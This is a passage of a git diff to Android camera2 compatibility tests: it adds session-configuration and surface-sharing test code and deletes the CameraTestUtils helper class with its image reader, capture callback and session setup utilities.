+            imageReader.setOnImageAvailableListener(imageListener, mHandler);
+
+            CaptureRequest.Builder builder =
+                    mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+            builder.addTarget(imageReader.getSurface());
+            CaptureRequest request = builder.build();
+
+            mSession.capture(request, captureListener, mHandler);
+            captureListener.getCaptureResultForRequest(request, CAPTURE_TIMEOUT_MS);
+            imageListener.getImage(CAPTURE_TIMEOUT_MS).close();
+
+            // Create a few invalid custom sessions by using undefined non-vendor mode indices, and
+            // check that they fail to configure
+            mSessionMockListener = spy(new BlockingSessionCallback());
+            mSessionWaiter = mSessionMockListener.getStateWaiter();
+            mCamera.createCustomCaptureSession(/*inputConfig*/null, outputs,
+                    CameraDevice.SESSION_OPERATION_MODE_VENDOR_START - 1, mSessionMockListener, mHandler);
+            mSession = mSessionMockListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
+            waitForSessionState(BlockingSessionCallback.SESSION_CONFIGURE_FAILED,
+                    SESSION_CONFIGURE_TIMEOUT_MS);
+
+            mSessionMockListener = spy(new BlockingSessionCallback());
+            mCamera.createCustomCaptureSession(/*inputConfig*/null, outputs,
+                    CameraDevice.SESSION_OPERATION_MODE_CONSTRAINED_HIGH_SPEED + 1, mSessionMockListener,
+                    mHandler);
+            mSession = mSessionMockListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
+            mSessionWaiter = mSessionMockListener.getStateWaiter();
+            waitForSessionState(BlockingSessionCallback.SESSION_CONFIGURE_FAILED,
+                    SESSION_CONFIGURE_TIMEOUT_MS);
+
+        } finally {
+            imageReader.close();
+            mSession.close();
+        }
+    }
+
+
+    /**
      * Verify creating sessions back to back and only the last one is valid for
      * submitting requests.
      */
@@ -879,6 +996,54 @@
 
     }
 
+    private void prepareTestForSharedSurfacesByCamera() throws Exception {
+        final int PREPARE_TIMEOUT_MS = 10000;
+
+        mSessionMockListener = spy(new BlockingSessionCallback());
+
+        SurfaceTexture output1 = new SurfaceTexture(1);
+        Surface output1Surface = new Surface(output1);
+        SurfaceTexture output2 = new SurfaceTexture(2);
+        Surface output2Surface = new Surface(output2);
+
+        List<Surface> outputSurfaces = new ArrayList<>(
+            Arrays.asList(output1Surface, output2Surface));
+        OutputConfiguration surfaceSharedConfig = new OutputConfiguration(
+            OutputConfiguration.SURFACE_GROUP_ID_NONE, output1Surface);
+        surfaceSharedConfig.enableSurfaceSharing();
+        surfaceSharedConfig.addSurface(output2Surface);
+
+        List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+        outputConfigurations.add(surfaceSharedConfig);
+        mCamera.createCaptureSessionByOutputConfigurations(
+                outputConfigurations, mSessionMockListener, mHandler);
+
+        mSession = mSessionMockListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
+
+        // Try prepare on output1Surface
+        mSession.prepare(output1Surface);
+
+        verify(mSessionMockListener, timeout(PREPARE_TIMEOUT_MS).times(1))
+                .onSurfacePrepared(eq(mSession), eq(output1Surface));
+        verify(mSessionMockListener, timeout(PREPARE_TIMEOUT_MS).times(1))
+                .onSurfacePrepared(eq(mSession), eq(output2Surface));
+
+        // Try prepare on output2Surface
+        mSession.prepare(output2Surface);
+
+        verify(mSessionMockListener, timeout(PREPARE_TIMEOUT_MS).times(2))
+                .onSurfacePrepared(eq(mSession), eq(output1Surface));
+        verify(mSessionMockListener, timeout(PREPARE_TIMEOUT_MS).times(2))
+                .onSurfacePrepared(eq(mSession), eq(output2Surface));
+
+        // Try prepare on output1Surface again
+        mSession.prepare(output1Surface);
+
+        verify(mSessionMockListener, timeout(PREPARE_TIMEOUT_MS).times(3))
+                .onSurfacePrepared(eq(mSession), eq(output1Surface));
+        verify(mSessionMockListener, timeout(PREPARE_TIMEOUT_MS).times(3))
+                .onSurfacePrepared(eq(mSession), eq(output2Surface));
+    }
 
     private void invalidRequestCaptureTestByCamera() throws Exception {
         if (VERBOSE) Log.v(TAG, "invalidRequestCaptureTestByCamera");
@@ -1746,6 +1911,13 @@
             }
         }
 
+        // Enable ZSL
+        if (template != CameraDevice.TEMPLATE_STILL_CAPTURE) {
+            if (mStaticInfo.areKeysAvailable(CONTROL_ENABLE_ZSL)) {
+                    mCollector.expectKeyValueEquals(request, CONTROL_ENABLE_ZSL, false);
+            }
+        }
+
         int[] outputFormats = mStaticInfo.getAvailableFormats(
                 StaticMetadata.StreamDirection.Output);
         boolean supportRaw = false;
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/src/android/hardware/camera2/cts/CameraTestUtils.java
deleted file mode 100644
index 25e9c5c..0000000
--- a/tests/camera/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ /dev/null
@@ -1,2333 +0,0 @@
-/*
- * Copyright 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.camera2.cts;
-
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.ImageFormat;
-import android.graphics.PointF;
-import android.graphics.Rect;
-import android.hardware.camera2.CameraAccessException;
-import android.hardware.camera2.CameraCaptureSession;
-import android.hardware.camera2.CameraConstrainedHighSpeedCaptureSession;
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
-import android.hardware.camera2.CameraCharacteristics;
-import android.hardware.camera2.CaptureFailure;
-import android.hardware.camera2.CaptureRequest;
-import android.hardware.camera2.CaptureResult;
-import android.hardware.camera2.cts.helpers.CameraErrorCollector;
-import android.hardware.camera2.cts.helpers.StaticMetadata;
-import android.hardware.camera2.params.InputConfiguration;
-import android.hardware.camera2.TotalCaptureResult;
-import android.hardware.cts.helpers.CameraUtils;
-import android.hardware.camera2.params.MeteringRectangle;
-import android.hardware.camera2.params.OutputConfiguration;
-import android.hardware.camera2.params.StreamConfigurationMap;
-import android.location.Location;
-import android.location.LocationManager;
-import android.media.ExifInterface;
-import android.media.Image;
-import android.media.ImageReader;
-import android.media.ImageWriter;
-import android.media.Image.Plane;
-import android.os.Build;
-import android.os.Environment;
-import android.os.Handler;
-import android.util.Log;
-import android.util.Pair;
-import android.util.Size;
-import android.util.Range;
-import android.view.Display;
-import android.view.Surface;
-import android.view.WindowManager;
-
-import com.android.ex.camera2.blocking.BlockingCameraManager;
-import com.android.ex.camera2.blocking.BlockingCameraManager.BlockingOpenException;
-import com.android.ex.camera2.blocking.BlockingSessionCallback;
-import com.android.ex.camera2.blocking.BlockingStateCallback;
-import com.android.ex.camera2.exceptions.TimeoutRuntimeException;
-
-import junit.framework.Assert;
-
-import org.mockito.Mockito;
-
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.lang.reflect.Array;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.Comparator;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.List;
-import java.util.concurrent.atomic.AtomicLong;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-import java.text.ParseException;
-import java.text.SimpleDateFormat;
-
-/**
- * A package private utility class for wrapping up the camera2 cts test common utility functions
- */
-public class CameraTestUtils extends Assert {
-    private static final String TAG = "CameraTestUtils";
-    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
-    private static final boolean DEBUG = Log.isLoggable(TAG, Log.DEBUG);
-    public static final Size SIZE_BOUND_1080P = new Size(1920, 1088);
-    public static final Size SIZE_BOUND_2160P = new Size(3840, 2160);
-    // Only test the preview size that is no larger than 1080p.
-    public static final Size PREVIEW_SIZE_BOUND = SIZE_BOUND_1080P;
-    // Default timeouts for reaching various states
-    public static final int CAMERA_OPEN_TIMEOUT_MS = 3000;
-    public static final int CAMERA_CLOSE_TIMEOUT_MS = 3000;
-    public static final int CAMERA_IDLE_TIMEOUT_MS = 3000;
-    public static final int CAMERA_ACTIVE_TIMEOUT_MS = 1000;
-    public static final int CAMERA_BUSY_TIMEOUT_MS = 1000;
-    public static final int CAMERA_UNCONFIGURED_TIMEOUT_MS = 1000;
-    public static final int CAMERA_CONFIGURE_TIMEOUT_MS = 3000;
-    public static final int CAPTURE_RESULT_TIMEOUT_MS = 3000;
-    public static final int CAPTURE_IMAGE_TIMEOUT_MS = 3000;
-
-    public static final int SESSION_CONFIGURE_TIMEOUT_MS = 3000;
-    public static final int SESSION_CLOSE_TIMEOUT_MS = 3000;
-    public static final int SESSION_READY_TIMEOUT_MS = 3000;
-    public static final int SESSION_ACTIVE_TIMEOUT_MS = 1000;
-
-    public static final int MAX_READER_IMAGES = 5;
-
-    private static final int EXIF_DATETIME_LENGTH = 19;
-    private static final int EXIF_DATETIME_ERROR_MARGIN_SEC = 60;
-    private static final float EXIF_FOCAL_LENGTH_ERROR_MARGIN = 0.001f;
-    private static final float EXIF_EXPOSURE_TIME_ERROR_MARGIN_RATIO = 0.05f;
-    private static final float EXIF_EXPOSURE_TIME_MIN_ERROR_MARGIN_SEC = 0.002f;
-    private static final float EXIF_APERTURE_ERROR_MARGIN = 0.001f;
-
-    private static final Location sTestLocation0 = new Location(LocationManager.GPS_PROVIDER);
-    private static final Location sTestLocation1 = new Location(LocationManager.GPS_PROVIDER);
-    private static final Location sTestLocation2 = new Location(LocationManager.NETWORK_PROVIDER);
-
-    protected static final String DEBUG_FILE_NAME_BASE =
-            Environment.getExternalStorageDirectory().getPath();
-
-    static {
-        sTestLocation0.setTime(1199145600L);
-        sTestLocation0.setLatitude(37.736071);
-        sTestLocation0.setLongitude(-122.441983);
-        sTestLocation0.setAltitude(21.0);
-
-        sTestLocation1.setTime(1199145601L);
-        sTestLocation1.setLatitude(0.736071);
-        sTestLocation1.setLongitude(0.441983);
-        sTestLocation1.setAltitude(1.0);
-
-        sTestLocation2.setTime(1199145602L);
-        sTestLocation2.setLatitude(-89.736071);
-        sTestLocation2.setLongitude(-179.441983);
-        sTestLocation2.setAltitude(100000.0);
-    }
-
-    // Exif test data vectors.
-    public static final ExifTestData[] EXIF_TEST_DATA = {
-            new ExifTestData(
-                    /*gpsLocation*/ sTestLocation0,
-                    /* orientation */90,
-                    /* jpgQuality */(byte) 80,
-                    /* thumbQuality */(byte) 75),
-            new ExifTestData(
-                    /*gpsLocation*/ sTestLocation1,
-                    /* orientation */180,
-                    /* jpgQuality */(byte) 90,
-                    /* thumbQuality */(byte) 85),
-            new ExifTestData(
-                    /*gpsLocation*/ sTestLocation2,
-                    /* orientation */270,
-                    /* jpgQuality */(byte) 100,
-                    /* thumbQuality */(byte) 100)
-    };
-
-    /**
-     * Create an {@link android.media.ImageReader} object and get the surface.
-     *
-     * @param size The size of this ImageReader to be created.
-     * @param format The format of this ImageReader to be created
-     * @param maxNumImages The max number of images that can be acquired simultaneously.
-     * @param listener The listener used by this ImageReader to notify callbacks.
-     * @param handler The handler to use for any listener callbacks.
-     */
-    public static ImageReader makeImageReader(Size size, int format, int maxNumImages,
-            ImageReader.OnImageAvailableListener listener, Handler handler) {
-        ImageReader reader;
-        reader = ImageReader.newInstance(size.getWidth(), size.getHeight(), format,
-                maxNumImages);
-        reader.setOnImageAvailableListener(listener, handler);
-        if (VERBOSE) Log.v(TAG, "Created ImageReader size " + size);
-        return reader;
-    }
-
-    /**
-     * Create an ImageWriter and hook up the ImageListener.
-     *
-     * @param inputSurface The input surface of the ImageWriter.
-     * @param maxImages The max number of Images that can be dequeued simultaneously.
-     * @param listener The listener used by this ImageWriter to notify callbacks
-     * @param handler The handler to post listener callbacks.
-     * @return ImageWriter object created.
-     */
-    public static ImageWriter makeImageWriter(
-            Surface inputSurface, int maxImages,
-            ImageWriter.OnImageReleasedListener listener, Handler handler) {
-        ImageWriter writer = ImageWriter.newInstance(inputSurface, maxImages);
-        writer.setOnImageReleasedListener(listener, handler);
-        return writer;
-    }
-
-    /**
-     * Close pending images and clean up an {@link android.media.ImageReader} object.
-     * @param reader an {@link android.media.ImageReader} to close.
-     */
-    public static void closeImageReader(ImageReader reader) {
-        if (reader != null) {
-            reader.close();
-        }
-    }
-
-    /**
-     * Close pending images and clean up an {@link android.media.ImageWriter} object.
-     * @param writer an {@link android.media.ImageWriter} to close.
-     */
-    public static void closeImageWriter(ImageWriter writer) {
-        if (writer != null) {
-            writer.close();
-        }
-    }
-
-    /**
-     * Dummy listener that release the image immediately once it is available.
-     *
-     * <p>
-     * It can be used for the case where we don't care the image data at all.
-     * </p>
-     */
-    public static class ImageDropperListener implements ImageReader.OnImageAvailableListener {
-        @Override
-        public void onImageAvailable(ImageReader reader) {
-            Image image = null;
-            try {
-                image = reader.acquireNextImage();
-            } finally {
-                if (image != null) {
-                    image.close();
-                }
-            }
-        }
-    }
-
-    /**
-     * Image listener that release the image immediately after validating the image
-     */
-    public static class ImageVerifierListener implements ImageReader.OnImageAvailableListener {
-        private Size mSize;
-        private int mFormat;
-
-        public ImageVerifierListener(Size sz, int format) {
-            mSize = sz;
-            mFormat = format;
-        }
-
-        @Override
-        public void onImageAvailable(ImageReader reader) {
-            Image image = null;
-            try {
-                image = reader.acquireNextImage();
-            } finally {
-                if (image != null) {
-                    // Should only do some quick sanity check in callback, as the ImageReader
-                    // could be closed asynchronously, which will close all images acquired from
-                    // this ImageReader.
-                    checkImage(image, mSize.getWidth(), mSize.getHeight(), mFormat);
-                    checkAndroidImageFormat(image);
-                    image.close();
-                }
-            }
-        }
-    }
-
-    public static class SimpleImageReaderListener
-            implements ImageReader.OnImageAvailableListener {
-        private final LinkedBlockingQueue<Image> mQueue =
-                new LinkedBlockingQueue<Image>();
-        // Indicate whether this listener will drop images or not,
-        // when the queued images reaches the reader maxImages
-        private final boolean mAsyncMode;
-        // maxImages held by the queue in async mode.
-        private final int mMaxImages;
-
-        /**
-         * Create a synchronous SimpleImageReaderListener that queues the images
-         * automatically when they are available, no image will be dropped. If
-         * the caller doesn't call getImage(), the producer will eventually run
-         * into buffer starvation.
-         */
-        public SimpleImageReaderListener() {
-            mAsyncMode = false;
-            mMaxImages = 0;
-        }
-
-        /**
-         * Create a synchronous/asynchronous SimpleImageReaderListener that
-         * queues the images automatically when they are available. For
-         * asynchronous listener, image will be dropped if the queued images
-         * reach to maxImages queued. If the caller doesn't call getImage(), the
-         * producer will not be blocked. For synchronous listener, no image will
-         * be dropped. If the caller doesn't call getImage(), the producer will
-         * eventually run into buffer starvation.
-         *
-         * @param asyncMode If the listener is operating at asynchronous mode.
-         * @param maxImages The max number of images held by this listener.
-         */
-        /**
-         *
-         * @param asyncMode
-         */
-        public SimpleImageReaderListener(boolean asyncMode, int maxImages) {
-            mAsyncMode = asyncMode;
-            mMaxImages = maxImages;
-        }
-
-        @Override
-        public void onImageAvailable(ImageReader reader) {
-            try {
-                Image imge = reader.acquireNextImage();
-                if (imge == null) {
-                    return;
-                }
-                mQueue.put(imge);
-                if (mAsyncMode && mQueue.size() >= mMaxImages) {
-                    Image img = mQueue.poll();
-                    img.close();
-                }
-            } catch (InterruptedException e) {
-                throw new UnsupportedOperationException(
-                        "Can't handle InterruptedException in onImageAvailable");
-            }
-        }
-
-        /**
-         * Get an image from the image reader.
-         *
-         * @param timeout Timeout value for the wait.
-         * @return The image from the image reader.
-         */
-        public Image getImage(long timeout) throws InterruptedException {
-            Image image = mQueue.poll(timeout, TimeUnit.MILLISECONDS);
-            assertNotNull("Wait for an image timed out in " + timeout + "ms", image);
-            return image;
-        }
-
-        /**
-         * Drain the pending images held by this listener currently.
-         *
-         */
-        public void drain() {
-            while (!mQueue.isEmpty()) {
-                Image image = mQueue.poll();
-                assertNotNull("Unable to get an image", image);
-                image.close();
-            }
-        }
-    }
-
-    public static class SimpleImageWriterListener implements ImageWriter.OnImageReleasedListener {
-        private final Semaphore mImageReleasedSema = new Semaphore(0);
-        private final ImageWriter mWriter;
-        @Override
-        public void onImageReleased(ImageWriter writer) {
-            if (writer != mWriter) {
-                return;
-            }
-
-            if (VERBOSE) {
-                Log.v(TAG, "Input image is released");
-            }
-            mImageReleasedSema.release();
-        }
-
-        public SimpleImageWriterListener(ImageWriter writer) {
-            if (writer == null) {
-                throw new IllegalArgumentException("writer cannot be null");
-            }
-            mWriter = writer;
-        }
-
-        public void waitForImageReleased(long timeoutMs) throws InterruptedException {
-            if (!mImageReleasedSema.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS)) {
-                fail("wait for image available timed out after " + timeoutMs + "ms");
-            }
-        }
-    }
-
-    public static class SimpleCaptureCallback extends CameraCaptureSession.CaptureCallback {
-        private final LinkedBlockingQueue<TotalCaptureResult> mQueue =
-                new LinkedBlockingQueue<TotalCaptureResult>();
-        private final LinkedBlockingQueue<CaptureFailure> mFailureQueue =
-                new LinkedBlockingQueue<>();
-        // Pair<CaptureRequest, Long> is a pair of capture request and timestamp.
-        private final LinkedBlockingQueue<Pair<CaptureRequest, Long>> mCaptureStartQueue =
-                new LinkedBlockingQueue<>();
-        // Pair<Int, Long> is a pair of sequence id and frame number
-        private final LinkedBlockingQueue<Pair<Integer, Long>> mCaptureSequenceCompletedQueue =
-                new LinkedBlockingQueue<>();
-
-        private AtomicLong mNumFramesArrived = new AtomicLong(0);
-
-        @Override
-        public void onCaptureStarted(CameraCaptureSession session, CaptureRequest request,
-                long timestamp, long frameNumber) {
-            try {
-                mCaptureStartQueue.put(new Pair(request, timestamp));
-            } catch (InterruptedException e) {
-                throw new UnsupportedOperationException(
-                        "Can't handle InterruptedException in onCaptureStarted");
-            }
-        }
-
-        @Override
-        public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request,
-                TotalCaptureResult result) {
-            try {
-                mNumFramesArrived.incrementAndGet();
-                mQueue.put(result);
-            } catch (InterruptedException e) {
-                throw new UnsupportedOperationException(
-                        "Can't handle InterruptedException in onCaptureCompleted");
-            }
-        }
-
-        @Override
-        public void onCaptureFailed(CameraCaptureSession session, CaptureRequest request,
-                CaptureFailure failure) {
-            try {
-                mFailureQueue.put(failure);
-            } catch (InterruptedException e) {
-                throw new UnsupportedOperationException(
-                        "Can't handle InterruptedException in onCaptureFailed");
-            }
-        }
-
-        @Override
-        public void onCaptureSequenceCompleted(CameraCaptureSession session, int sequenceId,
-                long frameNumber) {
-            try {
-                mCaptureSequenceCompletedQueue.put(new Pair(sequenceId, frameNumber));
-            } catch (InterruptedException e) {
-                throw new UnsupportedOperationException(
-                        "Can't handle InterruptedException in onCaptureSequenceCompleted");
-            }
-        }
-
-        public long getTotalNumFrames() {
-            return mNumFramesArrived.get();
-        }
-
-        public CaptureResult getCaptureResult(long timeout) {
-            return getTotalCaptureResult(timeout);
-        }
-
-        public TotalCaptureResult getCaptureResult(long timeout, long timestamp) {
-            try {
-                long currentTs = -1L;
-                TotalCaptureResult result;
-                while (true) {
-                    result = mQueue.poll(timeout, TimeUnit.MILLISECONDS);
-                    if (result == null) {
-                        throw new RuntimeException(
-                                "Wait for a capture result timed out in " + timeout + "ms");
-                    }
-                    currentTs = result.get(CaptureResult.SENSOR_TIMESTAMP);
-                    if (currentTs == timestamp) {
-                        return result;
-                    }
-                }
-
-            } catch (InterruptedException e) {
-                throw new UnsupportedOperationException("Unhandled interrupted exception", e);
-            }
-        }
-
-        public TotalCaptureResult getTotalCaptureResult(long timeout) {
-            try {
-                TotalCaptureResult result = mQueue.poll(timeout, TimeUnit.MILLISECONDS);
-                assertNotNull("Wait for a capture result timed out in " + timeout + "ms", result);
-                return result;
-            } catch (InterruptedException e) {
-                throw new UnsupportedOperationException("Unhandled interrupted exception", e);
-            }
-        }
-
-        /**
-         * Get the {@link #CaptureResult capture result} for a given
-         * {@link #CaptureRequest capture request}.
-         *
-         * @param myRequest The {@link #CaptureRequest capture request} whose
-         *            corresponding {@link #CaptureResult capture result} was
-         *            being waited for
-         * @param numResultsWait Number of frames to wait for the capture result
-         *            before timeout.
-         * @throws TimeoutRuntimeException If more than numResultsWait results are
-         *            seen before the result matching myRequest arrives, or each
-         *            individual wait for result times out after
-         *            {@value #CAPTURE_RESULT_TIMEOUT_MS}ms.
-         */
-        public CaptureResult getCaptureResultForRequest(CaptureRequest myRequest,
-                int numResultsWait) {
-            return getTotalCaptureResultForRequest(myRequest, numResultsWait);
-        }
-
-        /**
-         * Get the {@link #TotalCaptureResult total capture result} for a given
-         * {@link #CaptureRequest capture request}.
-         *
-         * @param myRequest The {@link #CaptureRequest capture request} whose
-         *            corresponding {@link #TotalCaptureResult capture result} was
-         *            being waited for
-         * @param numResultsWait Number of frames to wait for the capture result
-         *            before timeout.
-         * @throws TimeoutRuntimeException If more than numResultsWait results are
-         *            seen before the result matching myRequest arrives, or each
-         *            individual wait for result times out after
-         *            {@value #CAPTURE_RESULT_TIMEOUT_MS}ms.
-         */
-        public TotalCaptureResult getTotalCaptureResultForRequest(CaptureRequest myRequest,
-                int numResultsWait) {
-            ArrayList<CaptureRequest> captureRequests = new ArrayList<>(1);
-            captureRequests.add(myRequest);
-            return getTotalCaptureResultsForRequests(captureRequests, numResultsWait)[0];
-        }
-
-        /**
-         * Get an array of {@link #TotalCaptureResult total capture results} for a given list of
-         * {@link #CaptureRequest capture requests}. This can be used when the order of results
-         * may not the same as the order of requests.
-         *
-         * @param captureRequests The list of {@link #CaptureRequest capture requests} whose
-         *            corresponding {@link #TotalCaptureResult capture results} are
-         *            being waited for.
-         * @param numResultsWait Number of frames to wait for the capture results
-         *            before timeout.
-         * @throws TimeoutRuntimeException If more than numResultsWait results are
-         *            seen before all the results matching captureRequests arrives.
-         */
-        public TotalCaptureResult[] getTotalCaptureResultsForRequests(
-                List<CaptureRequest> captureRequests, int numResultsWait) {
-            if (numResultsWait < 0) {
-                throw new IllegalArgumentException("numResultsWait must be no less than 0");
-            }
-            if (captureRequests == null || captureRequests.size() == 0) {
-                throw new IllegalArgumentException("captureRequests must have at least 1 request.");
-            }
-
-            // Create a request -> a list of result indices map that it will wait for.
-            HashMap<CaptureRequest, ArrayList<Integer>> remainingResultIndicesMap = new HashMap<>();
-            for (int i = 0; i < captureRequests.size(); i++) {
-                CaptureRequest request = captureRequests.get(i);
-                ArrayList<Integer> indices = remainingResultIndicesMap.get(request);
-                if (indices == null) {
-                    indices = new ArrayList<>();
-                    remainingResultIndicesMap.put(request, indices);
-                }
-                indices.add(i);
-            }
-
-            TotalCaptureResult[] results = new TotalCaptureResult[captureRequests.size()];
-            int i = 0;
-            do {
-                TotalCaptureResult result = getTotalCaptureResult(CAPTURE_RESULT_TIMEOUT_MS);
-                CaptureRequest request = result.getRequest();
-                ArrayList<Integer> indices = remainingResultIndicesMap.get(request);
-                if (indices != null) {
-                    results[indices.get(0)] = result;
-                    indices.remove(0);
-
-                    // Remove the entry if all results for this request has been fulfilled.
-                    if (indices.isEmpty()) {
-                        remainingResultIndicesMap.remove(request);
-                    }
-                }
-
-                if (remainingResultIndicesMap.isEmpty()) {
-                    return results;
-                }
-            } while (i++ < numResultsWait);
-
-            throw new TimeoutRuntimeException("Unable to get the expected capture result after "
-                    + "waiting for " + numResultsWait + " results");
-        }
-
-        /**
-         * Get an array list of {@link #CaptureFailure capture failure} with maxNumFailures entries
-         * at most. If it times out before maxNumFailures failures are received, return the failures
-         * received so far.
-         *
-         * @param maxNumFailures The maximal number of failures to return. If it times out before
-         *                       the maximal number of failures are received, return the received
-         *                       failures so far.
-         * @throws UnsupportedOperationException If an error happens while waiting on the failure.
-         */
-        public ArrayList<CaptureFailure> getCaptureFailures(long maxNumFailures) {
-            ArrayList<CaptureFailure> failures = new ArrayList<>();
-            try {
-                for (int i = 0; i < maxNumFailures; i++) {
-                    CaptureFailure failure = mFailureQueue.poll(CAPTURE_RESULT_TIMEOUT_MS,
-                            TimeUnit.MILLISECONDS);
-                    if (failure == null) {
-                        // If waiting on a failure times out, return the failures so far.
-                        break;
-                    }
-                    failures.add(failure);
-                }
-            }  catch (InterruptedException e) {
-                throw new UnsupportedOperationException("Unhandled interrupted exception", e);
-            }
-
-            return failures;
-        }
-
-        /**
-         * Wait until the capture start of a request and expected timestamp arrives or it times
-         * out after a number of capture starts.
-         *
-         * @param request The request for the capture start to wait for.
-         * @param timestamp The timestamp for the capture start to wait for.
-         * @param numCaptureStartsWait The number of capture start events to wait for before timing
-         *                             out.
-         */
-        public void waitForCaptureStart(CaptureRequest request, Long timestamp,
-                int numCaptureStartsWait) throws Exception {
-            Pair<CaptureRequest, Long> expectedShutter = new Pair<>(request, timestamp);
-
-            int i = 0;
-            do {
-                Pair<CaptureRequest, Long> shutter = mCaptureStartQueue.poll(
-                        CAPTURE_RESULT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-
-                if (shutter == null) {
-                    throw new TimeoutRuntimeException("Unable to get any more capture start " +
-                            "event after waiting for " + CAPTURE_RESULT_TIMEOUT_MS + " ms.");
-                } else if (expectedShutter.equals(shutter)) {
-                    return;
-                }
-
-            } while (i++ < numCaptureStartsWait);
-
-            throw new TimeoutRuntimeException("Unable to get the expected capture start " +
-                    "event after waiting for " + numCaptureStartsWait + " capture starts");
-        }
-
-        /**
-         * Wait until it receives capture sequence completed callback for a given squence ID.
-         *
-         * @param sequenceId The sequence ID of the capture sequence completed callback to wait for.
-         * @param timeoutMs Time to wait for each capture sequence complete callback before
-         *                  timing out.
-         */
-        public long getCaptureSequenceLastFrameNumber(int sequenceId, long timeoutMs) {
-            try {
-                while (true) {
-                    Pair<Integer, Long> completedSequence =
-                            mCaptureSequenceCompletedQueue.poll(timeoutMs, TimeUnit.MILLISECONDS);
-                    assertNotNull("Wait for a capture sequence completed timed out in " +
-                            timeoutMs + "ms", completedSequence);
-
-                    if (completedSequence.first.equals(sequenceId)) {
-                        return completedSequence.second.longValue();
-                    }
-                }
-            } catch (InterruptedException e) {
-                throw new UnsupportedOperationException("Unhandled interrupted exception", e);
-            }
-        }
-
-        public boolean hasMoreResults()
-        {
-            return !mQueue.isEmpty();
-        }
-
-        public boolean hasMoreFailures()
-        {
-            return !mFailureQueue.isEmpty();
-        }
-
-        public void drain() {
-            mQueue.clear();
-            mNumFramesArrived.getAndSet(0);
-            mFailureQueue.clear();
-            mCaptureStartQueue.clear();
-        }
-    }
-
-    /**
-     * Block until the camera is opened.
-     *
-     * <p>Don't use this to test #onDisconnected/#onError since this will throw
-     * an AssertionError if it fails to open the camera device.</p>
-     *
-     * @return CameraDevice opened camera device
-     *
-     * @throws IllegalArgumentException
-     *            If the handler is null, or if the handler's looper is current.
-     * @throws CameraAccessException
-     *            If open fails immediately.
-     * @throws BlockingOpenException
-     *            If open fails after blocking for some amount of time.
-     * @throws TimeoutRuntimeException
-     *            If opening times out. Typically unrecoverable.
-     */
-    public static CameraDevice openCamera(CameraManager manager, String cameraId,
-            CameraDevice.StateCallback listener, Handler handler) throws CameraAccessException,
-            BlockingOpenException {
-
-        /**
-         * Although camera2 API allows 'null' Handler (it will just use the current
-         * thread's Looper), this is not what we want for CTS.
-         *
-         * In CTS the default looper is used only to process events in between test runs,
-         * so anything sent there would not be executed inside a test and the test would fail.
-         *
-         * In this case, BlockingCameraManager#openCamera performs the check for us.
-         */
-        return (new BlockingCameraManager(manager)).openCamera(cameraId, listener, handler);
-    }
-
-
-    /**
-     * Block until the camera is opened.
-     *
-     * <p>Don't use this to test #onDisconnected/#onError since this will throw
-     * an AssertionError if it fails to open the camera device.</p>
-     *
-     * @throws IllegalArgumentException
-     *            If the handler is null, or if the handler's looper is current.
-     * @throws CameraAccessException
-     *            If open fails immediately.
-     * @throws BlockingOpenException
-     *            If open fails after blocking for some amount of time.
-     * @throws TimeoutRuntimeException
-     *            If opening times out. Typically unrecoverable.
-     */
-    public static CameraDevice openCamera(CameraManager manager, String cameraId, Handler handler)
-            throws CameraAccessException,
-            BlockingOpenException {
-        return openCamera(manager, cameraId, /*listener*/null, handler);
-    }
-
-    /**
-     * Configure a new camera session with output surfaces and type.
-     *
-     * @param camera The CameraDevice to be configured.
-     * @param outputSurfaces The surface list that used for camera output.
-     * @param listener The callback CameraDevice will notify when capture results are available.
-     */
-    public static CameraCaptureSession configureCameraSession(CameraDevice camera,
-            List<Surface> outputSurfaces, boolean isHighSpeed,
-            CameraCaptureSession.StateCallback listener, Handler handler)
-            throws CameraAccessException {
-        BlockingSessionCallback sessionListener = new BlockingSessionCallback(listener);
-        if (isHighSpeed) {
-            camera.createConstrainedHighSpeedCaptureSession(outputSurfaces,
-                    sessionListener, handler);
-        } else {
-            camera.createCaptureSession(outputSurfaces, sessionListener, handler);
-        }
-        CameraCaptureSession session =
-                sessionListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
-        assertFalse("Camera session should not be a reprocessable session",
-                session.isReprocessable());
-        String sessionType = isHighSpeed ? "High Speed" : "Normal";
-        assertTrue("Capture session type must be " + sessionType,
-                isHighSpeed ==
-                CameraConstrainedHighSpeedCaptureSession.class.isAssignableFrom(session.getClass()));
-
-        return session;
-    }
-
-    /**
-     * Configure a new camera session with output configurations.
-     *
-     * @param camera The CameraDevice to be configured.
-     * @param outputs The OutputConfiguration list that is used for camera output.
-     * @param listener The callback CameraDevice will notify when capture results are available.
-     */
-    public static CameraCaptureSession configureCameraSessionWithConfig(CameraDevice camera,
-            List<OutputConfiguration> outputs,
-            CameraCaptureSession.StateCallback listener, Handler handler)
-            throws CameraAccessException {
-        BlockingSessionCallback sessionListener = new BlockingSessionCallback(listener);
-        camera.createCaptureSessionByOutputConfigurations(outputs, sessionListener, handler);
